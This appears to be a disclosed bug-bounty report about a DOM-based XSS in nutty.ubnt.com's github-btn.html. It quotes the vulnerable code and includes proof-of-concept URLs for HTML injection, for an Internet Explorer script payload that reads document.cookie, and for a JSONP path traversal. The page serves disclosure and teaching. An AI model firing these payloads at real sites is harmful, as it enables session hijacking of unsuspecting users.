[nutty.ubnt.com] DOM Based XSS nuttyapp github-btn.html
The github-btn.html page read the 'user' parameter from the URL and inserted it into the page without sanitisation, allowing HTML injection and, in Internet Explorer, script execution. An attacker could craft a link that runs JavaScript in the victim's browser on the nutty.ubnt.com domain.
- Triaged in 3 days
- Fixed in 44 days
- Paid in 44 days
- Disclosed after 2 months
Description
Vulnerable parameter: user Vulnerable script: http://nutty.ubnt.com/github-btn.html Vulnerable code:
var params = function () {
var vars = [], hash;
var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&');
for(var i = 0; i < hashes.length; i++) {
hash = hashes[i].split('=');
vars.push(hash[0]);
vars[hash[0]] = hash[1];
}
return vars;
}()
var user = params.user,
repo = params.repo,
type = params.type,
...
} else if (type == 'follow') {
mainButton.className += ' github-me';
text.innerHTML = 'Follow @' + user;
PoCs
PoC #1 HTML Injection for Chrome, Internet Explorer
http://nutty.ubnt.com/github-btn.html?#&user=<h1><marquee>HTML<br>HTML<br>HTML<br>HTML<br>HTML<br>HTML<br>&type=follow
PoC #2 XSS for Internet Explorer (using X-UA-Compatible IE=9)
http://bb.blackfan.ru/xss?c=%3Cmeta%20http-equiv=%22X-UA-Compatible%22%20content=%22IE=9%22%3E%3Ciframe%20src=%27http://nutty.ubnt.com/github-btn.html?%23%26user=yrdy%3Cscript%3Ealert(document.domain);alert(document.cookie);//%26type=follow%27%3E%3C/iframe%3E

Another vulns
Also, this script has potential vulnerabilities using user controlled parameters in the path to the JS script. But for the exploitation it requires additional vulnerability on api.github.com (for example, Open Redirect or user controlled output).
function jsonp(path) {
var el = document.createElement('script');
el.src = path + '?callback=callback';
head.insertBefore(el, head.firstChild);
}
...
if (type == 'follow') {
jsonp('https://api.github.com/users/' + user);
} else {
jsonp('https://api.github.com/repos/' + user + '/' + repo);
}
PoC
http://nutty.ubnt.com/github-btn.html?#&user=../../another/endpoint&repo=../../another/endpoint&type=fork
Result
https://api.github.com/another/endpoint?callback=callback
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could execute arbitrary JavaScript in the context of nutty.ubnt.com in Internet Explorer, and inject HTML in Chrome and Internet Explorer; the report does not claim script execution in Chrome.
What the attacker needed
Victim clicks a crafted link; victim uses Internet Explorer for script execution
How it was found
- Open the vulnerable github-btn.html page with a crafted query string containing HTML in the user parameter and type=follow.
- The page reads the user parameter and inserts it into the page as HTML.
- In Internet Explorer, use a meta tag to force IE=9 mode and include a script in the user parameter to execute JavaScript.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a web page takes part of its address (like ?user=...) and puts it directly into the page without cleaning it, an attacker can put their own HTML or JavaScript there. If a victim clicks a prepared link, that code runs as if it came from the real site. This is called cross-site scripting (XSS).
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.